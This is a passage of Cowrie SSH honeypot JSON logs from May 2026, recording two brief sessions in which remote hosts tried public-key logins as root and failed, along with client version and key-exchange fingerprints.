{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:f1:81:08:c9:61:60:c7:7c:7e:28:cd:d6:42:42:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzsaDZoc68BUVCrMJh6TsE/cqnj4dUK1iWc0ZyH2imIlUl0Q8ThTct/gd7UxuqHgndZv8EO4x0wvdTgL01+VBJxQLcEp6gd768ZpPDwoaBhtQBsm0z0+DCFqjYfbePDy1eSKFmZlUYlkB1dOFuso74HuNLZ7A3S7MaJkRjw0UT/fnHaJiTYM2CB94/LsZDbpEGeUGnPCaOq6muSfjOLtB6ziSfEFiSUjZmvqj29ZqRTYNQ3XMNu4Ps8wkPWbH+h/PHFgRL5UYD8Q9HjjeUIA+lR/RZELdyzr7a9OJ7MZJv8LhEPwUGQqVRDpjA/ti4VjoLKQ8MCRKdiJHWRSErkp37zA/wZa5FBh/6iI9Wer9ETt1kF1+Ohsu/OfzVGSiB29zd9z9ShuafflCNkW+oGmaf9QJvQQiDjOwymUNLuT6OreUta0gvMiHox24mZfveRf8oLQScofW2rnfscS/SLj6z2fmLEb0t7unBkcdAZrazQM5rZDAnnoYZium62Ezu02vxKxHE5A/kH9qNOrZidkhjhZpdlKUf1PDFByyzStc2ZPlH7D1Jf12blN68X8dIYvfEGvGC2FoNzPbKFf4m4h3RR40lJG/Yb8lJpTuxTJHEdzY8luHm1WgDn2BU+4HCj3c+15tscw07JOMJeU2xfTi+9aRU0/BBOFyOZyllBIS28w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:f1:81:08:c9:61:60:c7:7c:7e:28:cd:d6:42:42:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.379253Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:f1:81:08:c9:61:60:c7:7c:7e:28:cd:d6:42:42:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzsaDZoc68BUVCrMJh6TsE/cqnj4dUK1iWc0ZyH2imIlUl0Q8ThTct/gd7UxuqHgndZv8EO4x0wvdTgL01+VBJxQLcEp6gd768ZpPDwoaBhtQBsm0z0+DCFqjYfbePDy1eSKFmZlUYlkB1dOFuso74HuNLZ7A3S7MaJkRjw0UT/fnHaJiTYM2CB94/LsZDbpEGeUGnPCaOq6muSfjOLtB6ziSfEFiSUjZmvqj29ZqRTYNQ3XMNu4Ps8wkPWbH+h/PHFgRL5UYD8Q9HjjeUIA+lR/RZELdyzr7a9OJ7MZJv8LhEPwUGQqVRDpjA/ti4VjoLKQ8MCRKdiJHWRSErkp37zA/wZa5FBh/6iI9Wer9ETt1kF1+Ohsu/OfzVGSiB29zd9z9ShuafflCNkW+oGmaf9QJvQQiDjOwymUNLuT6OreUta0gvMiHox24mZfveRf8oLQScofW2rnfscS/SLj6z2fmLEb0t7unBkcdAZrazQM5rZDAnnoYZium62Ezu02vxKxHE5A/kH9qNOrZidkhjhZpdlKUf1PDFByyzStc2ZPlH7D1Jf12blN68X8dIYvfEGvGC2FoNzPbKFf4m4h3RR40lJG/Yb8lJpTuxTJHEdzY8luHm1WgDn2BU+4HCj3c+15tscw07JOMJeU2xfTi+9aRU0/BBOFyOZyllBIS28w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.383500Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:61:a8:8b:5d:8c:7d:da:f5:89:e1:63:99:12:3f:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyPq3io9c68s3Wilrz6lsCzhYJ1KrgBLXEx9/M+jvE/j9YmaJNXMovQbM25BA20IRgCjOOTCTvuNXvAM26RnflH5Y4qnB7Ej8Cl/mr0KMJy3JUuGr1R+arm8B2UfCNsehGz8PxYgX886YclNdBQJE8hzmY/Xx4rPWxK8BG7uLp4lySBCvv0zsRH+Xd1pxtsxNYfLDN6Hzk1dHRd6od9XISRHxeYmhcAbLk2lclMePuT54yWvUKimQvKkA+OY1LYQW1kxP1jW2PoA2EDtLX20c2iLE09P6Iq1O7Kn6AkWZBBA6i5ycNmE7vuWw2KbBeg6KePZU32HwwqLfa1Zikh+yJJxj5E0SfWat7eEu0qoohRV1DtL2qIokg6+DfLey1kR44d9UgBrhjW+AhzuHAeKZasCJWtU20GMu73v8WgZWq6TW+IZvufVg//LOe0wsvwDbWnp5VxjvK/dp0B6rSSJh6SWY5j6R4NJveEEIB6a7uVpKbb6+Plj/2gbUfnfpbvH+qyt5PbwNxL/EtQkkwl1H4KZFEzlblMzMm8Ub8SsADiShdIJ1K6ovI5U8DMrJDWApytRr5d4ShXE46gjo3/fx00waB979q277puMUg3uqW7fOlqPR3CK5soAkflKb2ZrQiyDl3ipTNCp25YIu9eFBnAkGCmzgb492Ok0OgZU8RfQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:61:a8:8b:5d:8c:7d:da:f5:89:e1:63:99:12:3f:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.412752Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:61:a8:8b:5d:8c:7d:da:f5:89:e1:63:99:12:3f:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyPq3io9c68s3Wilrz6lsCzhYJ1KrgBLXEx9/M+jvE/j9YmaJNXMovQbM25BA20IRgCjOOTCTvuNXvAM26RnflH5Y4qnB7Ej8Cl/mr0KMJy3JUuGr1R+arm8B2UfCNsehGz8PxYgX886YclNdBQJE8hzmY/Xx4rPWxK8BG7uLp4lySBCvv0zsRH+Xd1pxtsxNYfLDN6Hzk1dHRd6od9XISRHxeYmhcAbLk2lclMePuT54yWvUKimQvKkA+OY1LYQW1kxP1jW2PoA2EDtLX20c2iLE09P6Iq1O7Kn6AkWZBBA6i5ycNmE7vuWw2KbBeg6KePZU32HwwqLfa1Zikh+yJJxj5E0SfWat7eEu0qoohRV1DtL2qIokg6+DfLey1kR44d9UgBrhjW+AhzuHAeKZasCJWtU20GMu73v8WgZWq6TW+IZvufVg//LOe0wsvwDbWnp5VxjvK/dp0B6rSSJh6SWY5j6R4NJveEEIB6a7uVpKbb6+Plj/2gbUfnfpbvH+qyt5PbwNxL/EtQkkwl1H4KZFEzlblMzMm8Ub8SsADiShdIJ1K6ovI5U8DMrJDWApytRr5d4ShXE46gjo3/fx00waB979q277puMUg3uqW7fOlqPR3CK5soAkflKb2ZrQiyDl3ipTNCp25YIu9eFBnAkGCmzgb492Ok0OgZU8RfQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.417443Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:6e:75:41:d2:60:32:7d:1a:c0:34:f2:01:f3:85:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC49ScyugrWFu/gVB+r95vpaGRAiYUapb0Zr1K0oYUkzrKsSRPAbKtnZILrvDw7SA5Ze3USci4ZVLB4krNP98V22/D6ouHeBtvXmfanD1YykylfXy8/EKe2LMSbcwvSPUYU8fpbqZjTetV37DGOBJkKK9pFH3Gw5qN38TNw3hgU7VzWK8QgEedfN1eHj9A6DwvkG+5dS/Dd9auSN/i2LRpYgg8JuHM1wrmTSAqhUjCF9gQj4Rk/fcx+mOkKnCQK6L4mKfprs2de3iMNnCpRByNyjMD2BwrqPCj8/ezSP+kccXFONxo5oLp183FvdNey/cepBRRLz3N8dRXgugtv7kcd8Ab6z8+4luDNaUvEuSW4+hheIl6GEseYGkVflJI6Kz3dKa+jWHU5TTCgLYcryW7tY0t7iTX547gVDLmnnM5iN7rtUaSNFoWBwt4H/+RN2CBn6YKCCJFDbO07E+2WTrfG1kjJErKLk/PD/zEQgk99aygDr2XIOMzMvePgWopJEs9lRB0unlF5jxXR5ihvMfOoJQPx0WDlQrfJFflyAG9Nww5NPV9FNrIJQqVCpeXvfp2UHSBlq3lc3zqgkPW9C7MekB8r2pusS9iP4TYtk9BrolTfjX2t9oG28ZXWzpPJ1Ha1hE2yMKPrNnR/tlNehHkfy28+HJNExqtYnjSsH0tcMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:6e:75:41:d2:60:32:7d:1a:c0:34:f2:01:f3:85:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.446343Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:6e:75:41:d2:60:32:7d:1a:c0:34:f2:01:f3:85:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC49ScyugrWFu/gVB+r95vpaGRAiYUapb0Zr1K0oYUkzrKsSRPAbKtnZILrvDw7SA5Ze3USci4ZVLB4krNP98V22/D6ouHeBtvXmfanD1YykylfXy8/EKe2LMSbcwvSPUYU8fpbqZjTetV37DGOBJkKK9pFH3Gw5qN38TNw3hgU7VzWK8QgEedfN1eHj9A6DwvkG+5dS/Dd9auSN/i2LRpYgg8JuHM1wrmTSAqhUjCF9gQj4Rk/fcx+mOkKnCQK6L4mKfprs2de3iMNnCpRByNyjMD2BwrqPCj8/ezSP+kccXFONxo5oLp183FvdNey/cepBRRLz3N8dRXgugtv7kcd8Ab6z8+4luDNaUvEuSW4+hheIl6GEseYGkVflJI6Kz3dKa+jWHU5TTCgLYcryW7tY0t7iTX547gVDLmnnM5iN7rtUaSNFoWBwt4H/+RN2CBn6YKCCJFDbO07E+2WTrfG1kjJErKLk/PD/zEQgk99aygDr2XIOMzMvePgWopJEs9lRB0unlF5jxXR5ihvMfOoJQPx0WDlQrfJFflyAG9Nww5NPV9FNrIJQqVCpeXvfp2UHSBlq3lc3zqgkPW9C7MekB8r2pusS9iP4TYtk9BrolTfjX2t9oG28ZXWzpPJ1Ha1hE2yMKPrNnR/tlNehHkfy28+HJNExqtYnjSsH0tcMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.450893Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:45.482316Z","src_ip":"191.101.33.110","session":"0990dde1bcd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.217.74.127","src_port":44346,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f22345a164c","protocol":"ssh","message":"New connection: 144.217.74.127:44346 (10.17.0.5:22) [session: 9f22345a164c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.347604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.352267Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.372971Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:84:38:5c:97:1c:99:41:e8:fa:78:1d:3d:a3:67:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOAjsaKNMMp0rSdkJ6PCVBiLReONjMMR3slGdhfZsIFYAMwWHurjALGmdTDbOT/r+JCiUzUKOLefEXbdILOr3KZHKuL/gyDWCwTumWxI7DT4yJp+9Vit7L2G0uP6AePsDo9QQGT9pl6r/tPccSVplFxUXB7/fg3E9TM7cQ2ZBtIv+k3dZE7xP8fAKaW6F4q/k65eG/zLBL8GCuSJMeJ6YjE35gI9gAjpYyHZ0euemTe1Cr3GKK81/BWfyQe651GIfOo1pqcNTh3tkXogP7HL1RerUEvy/rgl9IcEIkkpuv/gT0hZ5LtQrNfYrR2bpHAEDxXBXEq6xLPmQRQcnrFqAF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:84:38:5c:97:1c:99:41:e8:fa:78:1d:3d:a3:67:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.453369Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:84:38:5c:97:1c:99:41:e8:fa:78:1d:3d:a3:67:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOAjsaKNMMp0rSdkJ6PCVBiLReONjMMR3slGdhfZsIFYAMwWHurjALGmdTDbOT/r+JCiUzUKOLefEXbdILOr3KZHKuL/gyDWCwTumWxI7DT4yJp+9Vit7L2G0uP6AePsDo9QQGT9pl6r/tPccSVplFxUXB7/fg3E9TM7cQ2ZBtIv+k3dZE7xP8fAKaW6F4q/k65eG/zLBL8GCuSJMeJ6YjE35gI9gAjpYyHZ0euemTe1Cr3GKK81/BWfyQe651GIfOo1pqcNTh3tkXogP7HL1RerUEvy/rgl9IcEIkkpuv/gT0hZ5LtQrNfYrR2bpHAEDxXBXEq6xLPmQRQcnrFqAF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.457212Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:7f:8a:b5:df:2b:96:9b:25:36:26:9f:21:ec:c3:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLncVANkV9NyLeuzhMLusF8JseSYdW/FGEMSRqt0HbsKPKJ/N7BQN9l1/+357+LyA6xNVyewfiS2gXKwh7VaiX5r9wxfxUBTSSZhfO4svQ4bBNU6DQQM/aIckJbU2UXPy5KQkDJ0zDScp3BoSA3dvmp2OfDNaTnQbGXcXjJXwumkOjq78PVQ+XDgDKYq2NCT1C57KteITCBsn4RZpQQOwfUkZtneWXCE/vw4+0BKsCJnpPO0UfHbdu27y7idfKg7RBydgIOVI+44HedN0FPLCVO1Ve7lec4+6jQI4mh/htphQMchQ/bm86SkRknQ6EP3SxvPRSIebzillEel0CXgOKuCAiw6JjdIMuNMToogxxUEkllwRnWLGcE42ZWV3iz1hEa/qNN2VbjDkzDfDe/IopRyYOCqxio1IewSoLP7isCI31TobFKfSTxqOPhvLpBb81mBHP6l44Bson4/+U/GAgY8Ei+KD+iNrhxCW39ASkCZhG2XjpiseQ3H5unuD3zds=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:7f:8a:b5:df:2b:96:9b:25:36:26:9f:21:ec:c3:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.479116Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:7f:8a:b5:df:2b:96:9b:25:36:26:9f:21:ec:c3:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLncVANkV9NyLeuzhMLusF8JseSYdW/FGEMSRqt0HbsKPKJ/N7BQN9l1/+357+LyA6xNVyewfiS2gXKwh7VaiX5r9wxfxUBTSSZhfO4svQ4bBNU6DQQM/aIckJbU2UXPy5KQkDJ0zDScp3BoSA3dvmp2OfDNaTnQbGXcXjJXwumkOjq78PVQ+XDgDKYq2NCT1C57KteITCBsn4RZpQQOwfUkZtneWXCE/vw4+0BKsCJnpPO0UfHbdu27y7idfKg7RBydgIOVI+44HedN0FPLCVO1Ve7lec4+6jQI4mh/htphQMchQ/bm86SkRknQ6EP3SxvPRSIebzillEel0CXgOKuCAiw6JjdIMuNMToogxxUEkllwRnWLGcE42ZWV3iz1hEa/qNN2VbjDkzDfDe/IopRyYOCqxio1IewSoLP7isCI31TobFKfSTxqOPhvLpBb81mBHP6l44Bson4/+U/GAgY8Ei+KD+iNrhxCW39ASkCZhG2XjpiseQ3H5unuD3zds=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.483268Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:f1:81:08:c9:61:60:c7:7c:7e:28:cd:d6:42:42:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzsaDZoc68BUVCrMJh6TsE/cqnj4dUK1iWc0ZyH2imIlUl0Q8ThTct/gd7UxuqHgndZv8EO4x0wvdTgL01+VBJxQLcEp6gd768ZpPDwoaBhtQBsm0z0+DCFqjYfbePDy1eSKFmZlUYlkB1dOFuso74HuNLZ7A3S7MaJkRjw0UT/fnHaJiTYM2CB94/LsZDbpEGeUGnPCaOq6muSfjOLtB6ziSfEFiSUjZmvqj29ZqRTYNQ3XMNu4Ps8wkPWbH+h/PHFgRL5UYD8Q9HjjeUIA+lR/RZELdyzr7a9OJ7MZJv8LhEPwUGQqVRDpjA/ti4VjoLKQ8MCRKdiJHWRSErkp37zA/wZa5FBh/6iI9Wer9ETt1kF1+Ohsu/OfzVGSiB29zd9z9ShuafflCNkW+oGmaf9QJvQQiDjOwymUNLuT6OreUta0gvMiHox24mZfveRf8oLQScofW2rnfscS/SLj6z2fmLEb0t7unBkcdAZrazQM5rZDAnnoYZium62Ezu02vxKxHE5A/kH9qNOrZidkhjhZpdlKUf1PDFByyzStc2ZPlH7D1Jf12blN68X8dIYvfEGvGC2FoNzPbKFf4m4h3RR40lJG/Yb8lJpTuxTJHEdzY8luHm1WgDn2BU+4HCj3c+15tscw07JOMJeU2xfTi+9aRU0/BBOFyOZyllBIS28w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:f1:81:08:c9:61:60:c7:7c:7e:28:cd:d6:42:42:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.507319Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:f1:81:08:c9:61:60:c7:7c:7e:28:cd:d6:42:42:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzsaDZoc68BUVCrMJh6TsE/cqnj4dUK1iWc0ZyH2imIlUl0Q8ThTct/gd7UxuqHgndZv8EO4x0wvdTgL01+VBJxQLcEp6gd768ZpPDwoaBhtQBsm0z0+DCFqjYfbePDy1eSKFmZlUYlkB1dOFuso74HuNLZ7A3S7MaJkRjw0UT/fnHaJiTYM2CB94/LsZDbpEGeUGnPCaOq6muSfjOLtB6ziSfEFiSUjZmvqj29ZqRTYNQ3XMNu4Ps8wkPWbH+h/PHFgRL5UYD8Q9HjjeUIA+lR/RZELdyzr7a9OJ7MZJv8LhEPwUGQqVRDpjA/ti4VjoLKQ8MCRKdiJHWRSErkp37zA/wZa5FBh/6iI9Wer9ETt1kF1+Ohsu/OfzVGSiB29zd9z9ShuafflCNkW+oGmaf9QJvQQiDjOwymUNLuT6OreUta0gvMiHox24mZfveRf8oLQScofW2rnfscS/SLj6z2fmLEb0t7unBkcdAZrazQM5rZDAnnoYZium62Ezu02vxKxHE5A/kH9qNOrZidkhjhZpdlKUf1PDFByyzStc2ZPlH7D1Jf12blN68X8dIYvfEGvGC2FoNzPbKFf4m4h3RR40lJG/Yb8lJpTuxTJHEdzY8luHm1WgDn2BU+4HCj3c+15tscw07JOMJeU2xfTi+9aRU0/BBOFyOZyllBIS28w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.511270Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:61:a8:8b:5d:8c:7d:da:f5:89:e1:63:99:12:3f:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyPq3io9c68s3Wilrz6lsCzhYJ1KrgBLXEx9/M+jvE/j9YmaJNXMovQbM25BA20IRgCjOOTCTvuNXvAM26RnflH5Y4qnB7Ej8Cl/mr0KMJy3JUuGr1R+arm8B2UfCNsehGz8PxYgX886YclNdBQJE8hzmY/Xx4rPWxK8BG7uLp4lySBCvv0zsRH+Xd1pxtsxNYfLDN6Hzk1dHRd6od9XISRHxeYmhcAbLk2lclMePuT54yWvUKimQvKkA+OY1LYQW1kxP1jW2PoA2EDtLX20c2iLE09P6Iq1O7Kn6AkWZBBA6i5ycNmE7vuWw2KbBeg6KePZU32HwwqLfa1Zikh+yJJxj5E0SfWat7eEu0qoohRV1DtL2qIokg6+DfLey1kR44d9UgBrhjW+AhzuHAeKZasCJWtU20GMu73v8WgZWq6TW+IZvufVg//LOe0wsvwDbWnp5VxjvK/dp0B6rSSJh6SWY5j6R4NJveEEIB6a7uVpKbb6+Plj/2gbUfnfpbvH+qyt5PbwNxL/EtQkkwl1H4KZFEzlblMzMm8Ub8SsADiShdIJ1K6ovI5U8DMrJDWApytRr5d4ShXE46gjo3/fx00waB979q277puMUg3uqW7fOlqPR3CK5soAkflKb2ZrQiyDl3ipTNCp25YIu9eFBnAkGCmzgb492Ok0OgZU8RfQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:61:a8:8b:5d:8c:7d:da:f5:89:e1:63:99:12:3f:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.532690Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:61:a8:8b:5d:8c:7d:da:f5:89:e1:63:99:12:3f:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyPq3io9c68s3Wilrz6lsCzhYJ1KrgBLXEx9/M+jvE/j9YmaJNXMovQbM25BA20IRgCjOOTCTvuNXvAM26RnflH5Y4qnB7Ej8Cl/mr0KMJy3JUuGr1R+arm8B2UfCNsehGz8PxYgX886YclNdBQJE8hzmY/Xx4rPWxK8BG7uLp4lySBCvv0zsRH+Xd1pxtsxNYfLDN6Hzk1dHRd6od9XISRHxeYmhcAbLk2lclMePuT54yWvUKimQvKkA+OY1LYQW1kxP1jW2PoA2EDtLX20c2iLE09P6Iq1O7Kn6AkWZBBA6i5ycNmE7vuWw2KbBeg6KePZU32HwwqLfa1Zikh+yJJxj5E0SfWat7eEu0qoohRV1DtL2qIokg6+DfLey1kR44d9UgBrhjW+AhzuHAeKZasCJWtU20GMu73v8WgZWq6TW+IZvufVg//LOe0wsvwDbWnp5VxjvK/dp0B6rSSJh6SWY5j6R4NJveEEIB6a7uVpKbb6+Plj/2gbUfnfpbvH+qyt5PbwNxL/EtQkkwl1H4KZFEzlblMzMm8Ub8SsADiShdIJ1K6ovI5U8DMrJDWApytRr5d4ShXE46gjo3/fx00waB979q277puMUg3uqW7fOlqPR3CK5soAkflKb2ZrQiyDl3ipTNCp25YIu9eFBnAkGCmzgb492Ok0OgZU8RfQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.536934Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:6e:75:41:d2:60:32:7d:1a:c0:34:f2:01:f3:85:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC49ScyugrWFu/gVB+r95vpaGRAiYUapb0Zr1K0oYUkzrKsSRPAbKtnZILrvDw7SA5Ze3USci4ZVLB4krNP98V22/D6ouHeBtvXmfanD1YykylfXy8/EKe2LMSbcwvSPUYU8fpbqZjTetV37DGOBJkKK9pFH3Gw5qN38TNw3hgU7VzWK8QgEedfN1eHj9A6DwvkG+5dS/Dd9auSN/i2LRpYgg8JuHM1wrmTSAqhUjCF9gQj4Rk/fcx+mOkKnCQK6L4mKfprs2de3iMNnCpRByNyjMD2BwrqPCj8/ezSP+kccXFONxo5oLp183FvdNey/cepBRRLz3N8dRXgugtv7kcd8Ab6z8+4luDNaUvEuSW4+hheIl6GEseYGkVflJI6Kz3dKa+jWHU5TTCgLYcryW7tY0t7iTX547gVDLmnnM5iN7rtUaSNFoWBwt4H/+RN2CBn6YKCCJFDbO07E+2WTrfG1kjJErKLk/PD/zEQgk99aygDr2XIOMzMvePgWopJEs9lRB0unlF5jxXR5ihvMfOoJQPx0WDlQrfJFflyAG9Nww5NPV9FNrIJQqVCpeXvfp2UHSBlq3lc3zqgkPW9C7MekB8r2pusS9iP4TYtk9BrolTfjX2t9oG28ZXWzpPJ1Ha1hE2yMKPrNnR/tlNehHkfy28+HJNExqtYnjSsH0tcMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:6e:75:41:d2:60:32:7d:1a:c0:34:f2:01:f3:85:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.558640Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
